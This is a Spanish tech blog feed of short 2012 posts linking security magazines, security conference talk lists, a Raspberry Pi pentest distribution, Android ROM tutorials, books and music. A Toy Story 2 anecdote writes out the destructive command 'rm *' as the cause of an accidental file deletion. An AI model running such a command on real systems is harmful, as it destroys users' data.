Via Forensics ha liberado un extenso artículo con un conjunto de buenas prácticas que deberíamos seguir cuando desarrollamos una aplicación móvil. Aunque el documento está enfocado en Android y iOS, muchas de las prácticas que se describen son comunes a cualquier plataforma.

El documento se titula en su versión original: 42+ Best Practices Secure mobile development for iOS and Android (PDF). En total contiene 49 prácticas a tener en cuenta. Por cada una de ellas nos explica brevemente el por qué de tenerla en cuenta.

(IN)SECURE #34

Nuevo número de esta, ya veterana, revista sobre seguridad. El índice de este número es:

• Fitness as a model for security
• Security and migrating to the cloud: Is it all doom and gloom?
• Solid state drives: Forensic preservation issues
• Introduction to Android malware analysis
• Hack in The Box Conference 2012 Amsterdam
• ISO 27001 standard: Breaking the documentation myth with Dejan Kosutic
• Preparing a breach response plan
• Security beyond the operating system: Into the cloud and beyond
• Amphion Forum 2012 Munich
• The challenges of data recovery from modern storage systems
• Two-factor authentication for the cloud: Does it have to be hard?

Podéis descargarla desde aquí (PDF).

Web oficial

Vídeo tutoriales sobre como crear tu propia ROM …

En el foro por excelencia sobre Android y Windows Mobile xdadeveopers han creado un hilo sobre como crear tu propia ROM para Android en forma de vídeo tutoriales. Hasta ahora estos son los tutoriales disponibles:

• Introduction
• Settings Up Cygwin And Kitchen
• Setting Up Remaining Tools (ftf extractor,flashtool,fastboot etc)
• Extracting .FTF File
• Getting Started - Android Kitchen
• Finalizing ROM
• Editing .APK Files
• Editing .JAR Files
• Dealing With .9.png Files
• Editing Build.prop

El índice con todos los temas que quieren tocar es el siguiente:

• Make custom ROM
• Unpack .ftf packages
• Use Cygwin
• Setup Android Kitchen
• Edit .apk files
• Edit .jar files
• Edit .9.png files
• Rooting System
• Writing scripts
• Making flashable zips
• Porting apk software
• A2SD Techs
• Editing build.prop
• Editing init.d tweaks
• Information of every customizable file
• Making Hosts
• Apn configs
• Editing boot.img
• Converting png to rle or vice versa
• Writing updater-script
• Making Aroma Installer
• How to set default Settings after ROM installations

Como ves todavía faltan más tutoriales por llegar, así que si te interesa este tema mantén los ojos bien abierto.

Este es el hilo del foro, dónde además de econtrar los vídeos que os hemos enlazado aquí, enontrarás mucha más información.

Un poco de lectura técnica nunca viene mal

Aquí os dejo una lista variada de libros técnicos. Happy reading!

<li><a href="http://www.wolframscience.com/nksonline/toc.html">A New Kind of Science (Stephen Wolfram)</a></li>
<li><a href="http://opendatastructures.org/">Open Data Structures</a></li>
<li>The Debian Administrator's Handbook (<a href="http://static.debian-handbook.info/browse/stable/">PDF, ePub y Mob</a> y <a href="http://debian-handbook.info/get/now/">html</a>)</li>
<li><a href="http://coolthingoftheday.blogspot.in/2012/05/jquery-succinctly-free-ebook-reg-ware.html">jQuery Succinctly</a></li>
<li><a href="http://www.aosabook.org/en/index.html">The Architecture of Open Source Applications</a></li>
<li><a href="http://www.cs.ucl.ac.uk/staff/d.barber/brml/">Bayesian Reasoning and Machine Learning</a></li>
<li><a href="http://openglbook.com/the-book/">OpenGL Book</a></li>
<li><a href="http://m.h-online.com/open/news/item/Introductory-ebook-for-new-LPI-exam-released-1580981.html?mrw_channel=open;mrw_channel=open;from-classic=1">Introductory ebook for new LPI exam released</a></li>
<li><a href="http://gettingreal.37signals.com/3705222012-getting_real.pdf">Getting Real (PDF)</a></li>

 

Distribución de Pen Testing para Raspberry Pi

Ya hemos visto muchas distribuciones o frameworks cargadas de herramientas de seguridad y prepardas para ser usadas desde dispositivos móviles o pequeños. Ya aquí hemos escrito varias entradas relacionadas con el tema:

• Plataforma de pentesting sobre 3G
• Ubuntu Laika, distribución de pen testing para Android
• Convierte tu teléfono Android en una plataforma de pentesting
• etc

Una nueva distribución ha aparecedido, pero esta vez para Raspberry Pi, del que también hemos hablado en varias ocasiones. La distribución se llama PwnPi y está basada en Debian Squeeze.

Las herramientas que incluye son:

MicroHistorias: Galyn Susman, la heroína de Toy …

Esta es una pequeña anécdota contada en uno de los vídeos extras de la película de Pixar Toy Story 2.

Según nos cuenta el vídeo esto fue un hecho 99% real. En la creación de dicha película entre otros sistemas usaron sistemas Linux y Unix. Aunque el vídeo no da detalles de la forma de trabajo, deduzco que todos los archivos de la película se guardaban en un único servidor central cuyo sistema era Unix o Linux. Lo que sí nos cuenta el vídeo es que alguien del equipo le dio por ejecutar: rm * (este comando borra todos los ficheros del directorio actual), en el sistema dónde se almacenaba el proyecto de Toy Story 2. Cuando dicha persona (no dan detalles de la identidad de la misma) se dio cuenta de lo que había hecho, inmediatamente le dijeron que tirara del cable de alimentación, para cortar la operación.

Bon Iver, Perth, una canción perfecta para un …

Bon Iver

Me habló de este grupo mi colega JRT ;) en un viaje que compartimos en tren.

Presentaciones de la Hack in the box 2012 …

Ya podemos descargarnos las presentaciones de otra gran conferencia de seguridad en la que ha habido participación hispana. La HITB (Hack in the box) 2012 Amsterdam:

• CLOSING KEYNOTE - Ms Jaya Baloo - Identity Privacy and Security.pdf
• D1 SIGINT - Marinus Kuivenhoven - Hack to the Future.pdf
• D1 SIGINT - Ralf- Philip Weinmann - NO SLIDES.pdf
• D1 SIGINT - Xavier Mertens - Pastebinmon and Leakedin.pdf
• D1T1 - Arnauld Mascret - Whistling Over The Wire.zip
• D1T1 - Claudio Guarnieri - One Flew Over the Cuckoos Nest.pdf
• D1T1 - Ivo Pooters - Turning Android Inside Out.pdf
• D1T1 - Juan-Pablo Echtegoyen - Attacking the SAP Solution Manager.pdf
• D1T1 - Roberto Suggi and Scott Bell - Browser Bug Hunting in 2012.pdf
• D1T2 - Adam Gowdiak - Security Threats in Digital Sat Televisions.pdf
• D1T2 - Adam Gowdiak - Security Vulnerabilities of DVB Chipsets.pdf
• D1T2 - Itzhak Zuk Avraham and Nir Goldshlager - Killing a Bug Bounty Program - Twice.pdf
• D1T2 - MuscleNerd - Evolution of iPhone Baseband and Unlocks.pdf
• D1T2 - Sebastien Renaud and Kevin Szkudlapski - WinRT.pdf
• D1T3 - Didier Stevens - Whitehat Shellcode.zip
• D1T3 - Gal Diskin - Hacking Using Dynamic Binary Instrumentation.pdf
• D1T3 - Jurriaan Bremer - Binary Obfuscation the SSE Way.pdf
• D2 SIGINT - Elger Jonker - Close-Up of Three Technical Hackerspace Projects.pdf
• D2 SIGINT - Rory Breuk and Albert Spruyt - Integrating DMA Attacks in Metasploit.pdf
• D2T1 - Alex Bazhanyuk and Nikita Tarakanov - Automatically Searching for Vulnerabilities.pdf
• D2T1 - Andrei Costin - Postscript Dangers Ahead - Hacking MFPCs.pdf
• D2T1 - Georgia Weidman - Bypassing the Android Permission Model.pdf
• D2T1 - Kenneth White - A Deep Analysis of Amazon Web Services.pdf
• D2T1 - Marco Balduzzi - SatanCloud.pdf
• D2T2 - Jailbreak Dream Team - Absinthe Jailbreak for iOS 5.0.1.pdf
• D2T2 - Jailbreak Dream Team - Corona Jailbreak for iOS 5.0.1.pdf
• D2T2 - Nicolas Gregoire - Attacking XML Processing.pdf
• D2T2 - Rahul Sasi - CXML VXML Auditing for IVR Pentesters.zip
• D2T2 - Steven Seeley - Ghost In the Windows 7 Allocator.pdf
• D2T3 - Chema Alonso and Manu The Sur - Power of FOCA 3.pdf
• D2T3 - Enno Rey Daniel Mende Pascal Turbing Matthias Luft - Smashing VMDK Files for Fun and Profit.pdf
• D2T3 - Mario Vuksan and Tomislav Pericin - Titan Engine 3.pdf
• KEYNOTE 1 - Andy Ellis - Staying Ahead of the Security Poverty Line.pdf
• KEYNOTE 2 - Bruce Schneier - Trust, Security and Society - NO SLIDES.pdf

Fuente

Er docu der finde: Relámpagos de fuego

Parte 1

Parte 2

Archivo con Revista National Geographic 1888-1999

En este enlace (Nat Geo online) podréis encontrar todas las revistas de National Geographic publicadas desde 1888 hasta 1999.

Este archivo que fue retirado en 2004 tras un litigio, denominado “Greenberg v. National Geographic”, por los derechos de autor del contenido en la edición digital de todos los artículos de la revista hasta la fecha. Finalmente, dos cortes federales fallaron a favor de la revista.

Un gran archivo para los amantes de esta publicación.

Los programas de Zoom Net

Para un programa bueno que hay en la televisión y lo difícil que es dar con él cuando lo emiten (en teoría se emite en La 2 los sábados a las 11:45 y domingos a las 0:15 con redifusión los lunes a las 19:45). Pero para eso tenemos la web oficial de Zoom Net, donde están todos los programas para ver online cuando quieras.

Google TV del tamaño de un lápiz USB

MK802 es otro mini ordenador que se suma a este mercado. Del tamaño de un lápiz USB, este dispositivo tiene unas características impresionantes:

• ARM A10 dual-core 1.5 GHz
• Mali 400 GPU
• 512Mb RAM (opción 1GB)
• WIFI 802.1b/g/n
• Full HD 1080P/2160P
• 4GB de almacenamiento
• Puerto USB 2.0 (modo host)
• Puerto de expansión 2-32GB
• Android 4.0

Al correr Android, tienes todas la ventajas del mercado de aplicaciones y con su salida HDMI ya puedes tener tu Google TV del tamaño de un lápiz USB al precio de 74 dólares. Y como suele ocurrir en estos casos están agotados, pero parece en junio tendrán una nueva remesa.

Visto aquí

Todo lo que necesitas saber sobre la caché Web …

(Foto: idownloadblog.com) 

Genial documento (aquí la web original) muy bien explicado y organizado donde nos explican el funcionamiento del Web Caching o Caché Web.

Un servidor de caché Web está situado entre uno o varios servidores web y los clientes, monitorizando las peticiones y almacenando copias de las respuestas (como páginas HTML, imágenes, ficheros, etc). Entonces cuando se hace una nueva petición a la misma URL,  el servidor de la caché Web mostrará los datos que tiene almacenados en vez de conectar de nuevo con el servidor Web original. Esto tiene dos consecuencias positivas para la red, se reduce la lantencia y también se reduce el tráfico de red.

Un "Anillo de Fuego" en los cielos de China

© 1996-2012 National Geographic Society

El "Anillo de Fuego" es un eclipse anular especial que ocurre cuando la Luna se alinea entre la Tierra y el Sol pero el diámetro aparente de la luna es más pequeño que el disco visible del Sol, dejando un anillo o corona de luz ardiente alrededor de los bordes.

Este tipo de singularidades, además de ser bellas, pueden tener un fin científico ya que se puede saber de forma rápida y fiable el diámetro del Sol y contrastarlo con mediciones pasadas.

Vídeos sobre Python

Python sin duda alguna es el “lenguaje de moda” y nos lo encontramos hasta en la sopa. Existe una web llamada pyvideo.org donde recopilan vídeos de prácticamente cualquier conferencia sobre python.

Si estás aprendiendo a programar en este lenguaje o incluso si ya lo controlas, seguro que encuentras vídeos de los cuales puedes aprender mucho.

Este es el índice de las conferencias y el número de vídeos que alojan de las mismas:

Club Hack Magazine #28

Disponible un nuevo número de Club Hack Magazine. El índice es el siguiente:

• 0x00 Tech Gyan - Steganography over converted channels
• 0x01 Tool Gyan - Kautilya
• 0x02 Mom's Guide - HTTPS (Hyper Text Transfer Protocol Secure)
• 0x03 Legal Gyan - Section 66C - Punishment for identity theft
• 0x04 Code Gyan - Don’t Get Injected – Fix Your Code
• 0x05 Poster - "Look both side before crossing one way track"

La puedes descargar desde aquí (PDF).

Las mejores aplicaciones portables para tu …

En este artículo de How-To-Geek tenemos una estupenda lista de programas (y distribuciones Linux) gratuitos para llevar en nuestra navaja suiza moderna, el pendrive.

Está divido en varios apartados como productividad (programas como el fantástico Notepad++ están incluidos aquí) ,  editores de imágenes y visores (uno es el GIMP portable), Web y FTP (con nuestro amigo FileZilla portable entre ellos), comunicaciones (Skype portable), etc.

Estos son sólo algunos de los programas, en el artículo original puedes encontrarlos todos con sus enlaces de descarga. La mayoría de ellos se descargan desde la web:

Youth Pictures of Florence Henderson, A list not …

Youth Pictures of Florence Henderson (wiki)

Web de la banda.

Una de esas canciones que hay que escuchar hasta el final …

El apasionante viaje de un email (Gmail)

En el blog de desarrolladores de Google han creado una animación (the story of send) súper curiosa dónde explican el viaje de un email desde que pulsamos (aquellos que usemos gmail) el botón de envíar o send hasta que dicho email es entregado a su destinatario.

La animación además es interactiva y durante la misma, podemos hacer click en algunas partes de ésta, las cuales nos ofrece algún tipo de información extra, incluso un vídeo (del que ya publicamos hace algún tiempo aquí) sobre los centros de datos de Google.

¿WordPress, Drupal o Joomla!? (Infografía)

Fuente

Er docu der finde: Matemáticas - El legado …

Seguridad de sistemas y análisis de código …

La Universidad de Dallas, Texas, uno de los muchos cursos que ofrece es llamado: System Security and Malicious Code Analysis (Seguridad de sistemas y análisis de código malicioso). Éste no es uno de esos cursos que se han puesto de moda últimamente que puedes tomar online. Aunque no hay disponibles ni vídeo ni audio, sí que están disponibles las diapositivas usadas en el mismo. Después de un echar un vistazo rápido, me han parecido muy completas en interesantes. Además en la web de dicho curso también podemos encontrar una muy buena lista de enlaces a información externa, muchos de ellos son literatura propia sobre el tema.

Concurso de diseño de camiseta en el 21 cumpleaños …

¿Quieres ir a la LinuxCon en San Diego (California) o Barcelona este año?

Participa en el concurso del diseño de una camiseta de la Linux Foundation. Tienes hasta el 8 de junio hasta las 23:55 hora pacífico, que si no me equivoco son 9 horas menos de diferencia con España, con lo que si estás en España y mis cálculos no me fallan, tendrías hasta el 9 de junio 8:55 de la mañana.

Derbycon 2011 Vídeos

De forma casual me he topado con los vídeos de la Derbycon del año pasado 2011 y después de buscar por el blog he visto que no teníamos una entrada con los vídeos de esta magnífica conferencia, que por cierto fue la primera edición. Así que aquí van:

• jimmy shah mobile app moolah profit taking with mobile malware
• mccorkle and rios 100 bugs in 100 days an analysis of ics scada software
• brent huston realize your hacker heritage do the needful
• mick douglas blue team is sexy refocusing on defense part ii all you baseline are belong to us
• thomas dotreppe mister x openwips ng
• joshua drake jduck exploiting java memory corruption vulnerabilities
• matthew becker 73o7ki survival hacking your way out of armageddon
• bart hopper avoiding the landmines in your own backyard
• georgia weidman throw it in the river towards real live actual smartphone security
• brian baskin walking the green mile how to get fired after a security incident
• infojanitor virtual trust virtual permission and the illusion of security
• boris sverdlik your perimeter sucks
• larry pesce you are the smart meter making and hacking of the 2011 ma ccdc electronic badges 
• rob simon pentesting over powerlines
• bill sempf is locksport a sport
• raphael mudge dirty red team tricks
• keynote hd moore acoustic intrusions
• ben feinstein and jeff jarmoc get off of my cloud cloud credential compromise and exposure
• josh kelley winfang98 infectious media bypassing autorun once and for all
• chris nickerson compliance an assault on reason
• chris roberts a tribute to dr strangelove
• deviant ollam distinguishing lockpicks raking vs lifting vs jiggling and more
• joe schorr rule 1 cardio and 9 other rules to keep intruders out
• ryan linn collecting underpants to win your network
• jayson e street steal everything kill everyone cause total financial ruin or how i walked in and misbehaved
• bruce potter the details dont matter
• kevin mitnick dave kennedy adaptive penetration testing
• rick farina free floating hostility
• chris gates and rob fuller the dirty little secrets they didnt teach you in pentesting class
• johnny long hackers for charity update
• jamison scheeres social engineering is a fraud
• jack daniel surviving a teleporter accident it could happen to you
• kevin johnson and tom eston desktop betrayal exploiting clients through the features they demand
• closing
• rick hayes karthik rangarajan osint beyond the basics
• int0x80 of dual core anti forensics for the louise
• evan booth hide yo kids hide yo wife residential security and monitoring the bottom line
• atlas sploit me if you can
• charlie miller battery firmware hacking
• michael arpaia beat to 1337 creating a successful university cyber defense organization
• tony huffman myne us when fuzzers miss the no hanging fruit
• adrian dave martin welcome to derbycon 2011 intro to the con and events
• tottenkoph data mining for neuro hackers
• kyle osborne kos the hidden xss attacking the desktop
• thomas hoffecker exploiting pki for fun and profit or the next yellow padlock icon
• rafal los youre going to need a bigger shovel a critical look at software security assurance
• carlos perez darkoperator tactical post exploitation
• jason scott jason scotts shareware calvacade
• paul asadoorian john strand offensive countermeasures still trying to bring sexy back
• rick redman tomorrow you can patch that 0day but your users will still get you p0wn3d
• pat mccoy and chris silvers hook line and syncer the liar for hires ultimate tacklebox
• adrian crenshaw building a svartkast cheap hardware to leave behind on someone elses network
• peter van eeckhoutte and elliot cutright win32 exploit development with mona and the metasploit framework
• dennis kuntz mining sensitive information from images using command line ocr
• the penetration testing execution standard ptes panel
• adrian dave martin welcome to derbycon 2011 intro to the con and events
• keynote hd moore acoustic intrusions
• johnny long hackers for charity update
• kevin mitnick dave kennedy adaptive penetration testing
• the penetration testing execution standard ptes panel
• bruce potter the details dont matter
• chris nickerson compliance an assault on reason
• pat mccoy and chris silvers hook line and syncer the liar for hires ultimate tacklebox
• jason scott jason scotts shareware calvacade
• atlas sploit me if you can
• dennis kuntz mining sensitive information from images using command line ocr
• tottenkoph data mining for neuro hackers
• michael arpaia beat to 1337 creating a successful university cyber defense organization
• carlos perez darkoperator tactical post exploitation
• paul asadoorian john strand offensive countermeasures still trying to bring sexy back
• tony huffman myne us when fuzzers miss the no hanging fruit
• rafal los youre going to need a bigger shovel a critical look at software security assurance
• rick hayes karthik rangarajan osint beyond the basics
• int0x80 of dual core anti forensics for the louise
• rick redman tomorrow you can patch that 0day but your users will still get you p0wn3d
• brian baskin walking the green mile how to get fired after a security incident
• jack daniel surviving a teleporter accident it could happen to you
• adrian crenshaw building a svartkast cheap hardware to leave behind on someone elses network
• joe schorr rule 1 cardio and 9 other rules to keep intruders out
• thomas hoffecker exploiting pki for fun and profit or the next yellow padlock icon
• matthew becker 73o7ki survival hacking your way out of armageddon
• bart hopper avoiding the landmines in your own backyard
• chris gates and rob fuller the dirty little secrets they didnt teach you in pentesting class
• boris sverdlik your perimeter sucks
• evan booth hide yo kids hide yo wife residential security and monitoring the bottom line
• rick farina free floating hostility
• georgia weidman throw it in the river towards real live actual smartphone security
• brent huston realize your hacker heritage do the needful
• rob simon pentesting over powerlines
• larry pesce you are the smart meter making and hacking of the 2011 ma ccdc electronic badges 
• bill sempf is locksport a sport
• infojanitor virtual trust virtual permission and the illusion of security
• ben feinstein and jeff jarmoc get off of my cloud cloud credential compromise and exposure
• jimmy shah mobile app moolah profit taking with mobile malware
• mccorkle and rios 100 bugs in 100 days an analysis of ics scada software
• charlie miller battery firmware hacking
• peter van eeckhoutte and elliot cutright win32 exploit development with mona and the metasploit framework
• ryan linn collecting underpants to win your network
• jamison scheeres social engineering is a fraud
• josh kelley winfang98 infectious media bypassing autorun once and for all
• kevin johnson and tom eston desktop betrayal exploiting clients through the features they demand
• jayson e street steal everything kill everyone cause total financial ruin or how i walked in and misbehaved
• deviant ollam distinguishing lockpicks raking vs lifting vs jiggling and more
• raphael mudge dirty red team tricks
• chris roberts a tribute to dr strangelove
• kyle osborne kos the hidden xss attacking the desktop
• mick douglas blue team is sexy refocusing on defense part ii all you baseline are belong to us
• thomas dotreppe mister x openwips ng
• joshua drake jduck exploiting java memory corruption vulnerabilities
• closing

Podéis encontrar otros formatos de vídeo aquí

Cómo mantenerte despierto cuando estás cansado …

Visto en LifeHacker

El tiempo en la línea de comandos, usando la …

Este programa escrito en Python te permite acceder a la información del tiempo metereológico y obtener el resultado desde la misma línea de comandos usando la Weather API de Google.

Para eso sólo tienes que teclear el programa y luego llamarlo de la siguiente manera:

 ./weather.py London Bucharest "New York"

 Obteniendo la salida por pantalla que encabeza este post.

Aquí puedes descargar el código fuente de la aplicación.

Los números de Apple (Infografía)

Created by: BusinessDegree.net

Nota: No sé si esto ocurre en todos los países de habla inglesa, pero en EEUU un billón es igual a mil millones.

Fuente

Deadmau5, Strobe, para este domingo casi de verano …

Espectacular.

Perfecto para esas fiestas que no vamos a pegar este verano.

Web de deadmau5

Wiki deadmau5

Ojo a la anécdota del nombre “dead mouse”:

“Un ratón entró en mi ordenador y murió, y lo encontré ahí cuando estaba cambiando mi tarjeta gráfica. Tras comentar el incidente en chats y blogs la gente empezó a llamarme that dead mouse guy (ese tipo del ratón muerto) por la anécdota, y me quedé con ello. El nº5 es debido a que 'deadmouse' superaba los caracteres máximos permitidos como nickname en el chat, así que me dije 'lo que sea', puse un 5 y así se quedó.”

Cómo hacer tu propia aventura de texto usando …

(El famoso juego Zork I en ejecución)

... o cómo aprender Python creando una aventura de texto.

En principio puede parecer un poco extraño programar una aventura de texto en estos días con esos espectaculares juegos con gráficos 3D alucinantes. Pero si eres tan viejuno como yo, recordarás esa magia de los juegos de texto (también llamados "conversacionales" ó MUDs) los cuales algunos tenían gráficos estáticos, pero otros eran puro texto y nada más. Estos juegos se acercan mucho a los juegos de rol, donde la imaginación hace el trabajo en vez de la GPU ;)

¿Quién es quién en las redes sociales? …

Enlace original

Hartverdrahtet: demostrando lo que pueden hacer …

Este vídeo es la ejecución del programa ganador de la competición PC 4Kb intro  de la party Revision 2012, llamado Hartverdrahtet (programado por Akronyme Analogiker) y esta maravilla visual no ocupa más de 4096 bytes (menos que un documento de Word vacío):

httpv://youtu.be/0w_xEUoK79o

Utiliza una sola fórmula fractal pero incluye efectos de movimiento de cámara. Además incluye música de fondo creada con 4klang , un software sintetizador  de música especialmente diseñado para intros de 4 Kb. El código principal y todo el proceso de "shading" está realizado (o mejor dicho "ofuscado") con la herramienta Shader Minifier Tool.

Er docu der finde: La teoría de cuerdas - Parte 4

Vim, Markdown y Wordpress

A principios de año, como cada año, son muchos los que nos proponemos hacer algo nuevo, distinto, perder peso, leer ciertos libros, etc. A principios de este año me topé con esta lista que me gustó bastante. Aunque hay varios puntos en la misma que estoy intentando seguir, lo que comentaré en esta entrada encajaría en el punto 3: Embrace the uncomfortable, lo que viene a decir es que no te acomodes, haz algo que te incomode, cambie la rutina. De entre los ejemplos que nos dan, tenemos: cambia de emacs a vim o viceversa.

Mini MicroHistoria: "Blue Busters", el vídeo …

(Click en la imagen para ver el vídeo y la entrevista a Craig Elliot)

Vaya sorpresa me he encontrado en Applesfera, un par de vídeos donde aparece Steve Jobs en uno (vestido de Cazafantasmas con un Apple IIc de mochila) y otro donde al final aparece Steve Wozniak:

Estos vídeos se rodaron para una convención en Hawaii en 1984, pero eran de uso interno, por eso no habían salido a la luz hasta ahora.

Un vídeo para liberar tu mente después de un día …

Echando un vistazo a la Forensic FOCA

El análisis forense (cómputo forense), conocido en ocasiones como una ciencia, ha acaparado la atención de muchos profesionales en los últimos años, por desgraci. Digo por desgracia, porque normalmente cuando requerimos los servicios de un analista informático forense, son por motivos de instrusión en nuestros sistemas. Aunque normalmente asociamos el análisis forense como paso posterior a una irrupción ilegítima, esta ciencia también se puede aplicar a otro tipo de casos no criminales.

Pauldotcom episodio 12

Nueva entrevista de Carlos Pérez, esta vez a Efrain Torres, miembro del equipo de Metesploit.

Puedes descargar el podcast desde aquí.

Cálico Electrónico, Temporada 4, Episodio 1 …

Genial, como siempre, no ha cambiado nada, Cálico ha vuelto.

Revista sobre Raspberry Pi

Acaba de aparecer una nueva revista dígital dedicada exclusivamente a Raspberry Pi, ordenador del tamaño de una tarjeta de crédito que corre Linux. Ya hemos hablado anteriormente aquí y aquí.

La revista en cuestión se llama The MagPi y parece que será mensual. El contenido de la misma será para todos los niveles y ya está disponible el primer número de la misma, cuyo contenido es:

• Affordable Computing
• The fall of programming
• The pioneers
• Hardware development
• Skutter
• Live CD and Virtual Machine
• Debian VirtualBox
• Programming
• The scratch patch
• The Python Pit
• Feedback
• Web links and Credits

La podéis descargar desde aquí. Para más información visita la web oficial y para estar al día puedes seguirla en Twitter

 

Historia del cifrado (Infografía)

Browse more infographics.

¡Mañana vuelve Cálico Electrónico!

Vuelve el héroe español, no te pierdas mañana 7 de mayo el estreno mundial del primer capítulo de la 4a temporada.

Gracias Niko (y a Informatica64) por traernos al héroe que tantos buenos ratos nos ha hecho pasar.

En CyberHades no nos perderemos ninguno de sus nuevos capítulos.

Domingo por la mañana, Class Actress "Keep you"

Class Actress

… I want to keep you in my heart, I want to keep you, oooh I want it ;)

Nueva infografía de la historia de Debian

Haz click en la imagen para verla más grande

Fuente

Moviendo personajes de Quake en 50 líneas de …

Usando el plugin tQuery.md2Character el cual incluye un suelo tipo ajedrez, niebla para marcar la profundidad, teclado para moverlo y por supuesto permite abrir los formatos de los personajes de DOOM y Quake, MD2 (puedes encontrar todos tus personajes favoritos de las sagas en este formato para jugar con ellos en planet-quake ó sitters-electronics).

Er docu der finde: La teoría de cuerdas - Parte 3

Estructura interna del PE (Portable Executable)

En la gran web de corkami han creado un esquema muy bueno sobre el formato de los ficheros PE (Portable Executable) de Windows. Resaltan las secciones más interesantes del mismo, mostrando el volcado ASCII, el nombre del campo correspondiente, su valor hexadecimal y una pequeña explicación de dicho campo. También muestran las tablas se secciones más importantes, pero no sólo han recogido información interna del PE, sino que además muestran de forma simple los pasos del proceso de carga de estos ficheros en memoria.

Guía de configuración del mando Sixaxis PS3 para …

No tenía ni idea que esto se pudiera hacer, si tienes un mando Sixaxis de la PS3  existe una herramienta que te permite conectarlo a cualquier dispositivo Android por medio de Bluetooth.

La aplicación se llama Sixaxis Controller (cuesta 1,23€)

Puedes ver un completo manual en castellano para configurarlo aquí.

Libros técnicos para después de un fin de semana …

Una vez más os traemos otro puñado de libros técnico para que no os aburráis :)

• GTD for Hackers
• Programming Linux Games
• Backbone fundamentals
• Software Similarity and Classification
• Learning Modern 3D Graphics Programming
• The Bastards Book of Ruby
• Ruby Best Practices
• Ruby Essentials

 

MIT y su tetris

Hacer un par de semanas muchos sitios web se hicieron eco de la hazaña de un grupo de hackers del MIT que hicieron el juego del tetris sobre el Green Building, un edificio de 30x90 metros. Dicho edificio está compuesto de 153 ventanas (153 pixeles), formando una pantalla de 24x76 metros con 17x9 ventanas/pixeles, convirtiendo a ésta en la segunda pantalla más grande de los EEUU.Por lo visto el obstáculo más complicado fue el de iluminar la ventana de forma que no molestara al ocupante de la habitación de la misma. Cada ventana mide 2.5x1.8 metros y fueron equipadas con placas de LED personalizadas, controladas inalámbricamente.Con el diseño ya terminado los ya todo era ponerse manos a la obra y les llevó 2 meses completos sin descanso trabajando desde las 10pm a las 5am.El software fue escrito en Java y está disponible en Github.Aquí podéis ver un vídeo del juego en acción:

Aquí podéis ver más imágenes.Más información aquí.Visto en Slashdot.

El top 10 de los 100 discos que todo fan de la …

Ya os comentamos que en io9 habían realizado un top 100 de los discos que todo fan de la Ciencia Ficción debería escuchar. Pues bien ya tenemos el top 10 y es el siguiente:

10. Daft Punk - Discovery (2001)

9. Vangelis - Albedo 0.39 (1976)

Linux Audio Conference 2012 - Presentaciones y …

La conferencia de Linux Audio es una conferencia internacional sobre software música, sonido, etc de fuente abierta o open source cuyo sistema principal es Linux. Este año tuvo lugar en los EEUU por primera vez, concretamente en California en la Universidad de Stanford.

Aquí tenéis la lista con las distintas charlas con sus respectivas diapositivas y vídeos:

• Conference Welcome -  Video
• The IEM Demosuite, a large-scale jukebox for the MUMUTH concert venue -  Paper (PDF) Slides Video
• Network distribution in music applications with Medusa -  Paper (PDF) Slides Video
• Luppp - A real-time audio looping program -  Paper (PDF) Slides Video
• Csound as a Real-­time Application -  Paper (PDF) Slides Video
• Csound for Android -  Paper (PDF) Slides Video
• Ardour3 - Video Integration -  Paper (PDF) Slides Video
• INScore - An Environment for the Design of Live Music Scores -  Paper (PDF) Slides Video
• A Behind-the-Scenes Peek at World's First Linux-Based Laptop Orchestra -- The Design of L2Ork Infrastructure and Lessons Learned -  Paper (PDF) Slides Video
• Studio report: Linux audio for multi-speaker natural speech technology -  Paper (PDF) Slides Video
• A framework for dynamic spatial acoustic scene generation with Ambisonics in low delay realtime -  Paper (PDF) Slides Video
• A Toolkit for the Design of Ambisonic Decoders -  Paper (PDF) Slides Video
• JunctionBox for Android: An Interaction Toolkit for Android-based Mobile Devices -  Paper (PDF) Slides Video
• An Introduction to the Synth-A-Modeler Compiler: For Modular and Open-Source Sound Synthesis using Physical Models -  Paper (PDF) Slides Video
• pd-faust: An integrated environment for running Faust objects in Pd -  Paper (PDF) Slides Video
• The Faust Online Compiler: a Web-Based IDE for the Faust Programming Language -  Paper (PDF) Slides Video
• FaustPad : A free open-source mobile app for multi-touch interaction with Faust generated modules -  Paper (PDF) Slides Video
• Composition With AVSynthesis -  Video
• Field Report II - Capturing Chroma XII by Rebecca Saunders -  Paper (PDF) Video
• GRE (Graduate Rhythmic Examination) -  Video
• Demo: A framework for dynamic spatial acoustic scene generation with Ambisonics in low delay realtime -  Video
• The why and how of with-height surround production in Ambisonics -  Paper (PDF) Slides Video
• Keynote -  Slides Video
• From Jack to UDP packets to sound, and back -  Paper (PDF) Video
• Controlling adaptive resampling -  Paper (PDF) Slides Video
• Signal Processing Libraries for FAUST -  Paper (PDF) Slides Video
• The Integration of the PCSlib PD library in a Touch-Sensitive Interface with Musical Application -  Paper (PDF) Video
• Rite of the Earth -- composition with frequency-based harmony and ambisonic space projection -  Paper (PDF) Slides Video
• Birches for viola and electronic sounds -  Video
• Princesa Chontales -  Video
• Debb and Duff play the music you ate your first crawdad by -  Video
• Luppp & Harry -  Video
• Compositions in Loops nos. 1 and 2 -  Video
• Secret Chiptunes and Time Explorations from a Bedroom -  Video
• Minivosc - a minimal virtual oscillator driver for ALSA (Advanced Linux Sound Architecture) -  Paper (PDF) Slides Video
• An Open Source C++ Framework for Multithreaded Realtime Multichannel Audio Applications -  Paper (PDF) Slides Video
• Using the beagleboard as hardware to process sound -  Paper (PDF) Slides Video
• Live CSound -  Slides
• Panel Discussion: Open Source Hardware -  Video
• Closing Ceremony -  Video

Como nota curiosa, si queréis saber quién es quién en la foto de la entrada podéis hacer click aquí.

Historia del formato de vídeo digital (Infografía)

Fuente

Una "Window" de "Windows" (Humor)

¿Actualizará a Windows 8? :)

Visto en HTG.

Sigue el creador de tu lenguaje de programación …

Si alguna vez te has preguntado a quien seguir en Twitter, aquí tienes una lista de usuarios a los que puedes seguir. La particularidad de esta lista, es que todos son creador de algún lenguaje de programación.

• Andrei Alexandrescu (D) - @incomputable
• Joe Armstrong (Erlang) - @joeerl
• Jeremy Ashkenas (CoffeeScript) - @jashkenas
• Christopher Bertels (Fancy) - @bakkdoor
• Gilad Bracha (Newspeak) - @Gilad_Bracha
• Walter Bright (D) - @WalterBright
• Nicolas Cannasse (HaXe) - @ncannasse
• John Carmack (QuakeC) - @ID_AA_Carmack
• Alan Cooper (VisualBasic) - @MrAlanCooper
• Rodrigo B. De Oliveira (Boo) - @nocastes
• Steve Dekorte (Io) - @stevedekorte
• Brendan Eich (JavaScript) - @BrendanEich
• Rich Hickey (Closure) - @richhickey
• Graydon Hoare (Rust) - @graydon_moz
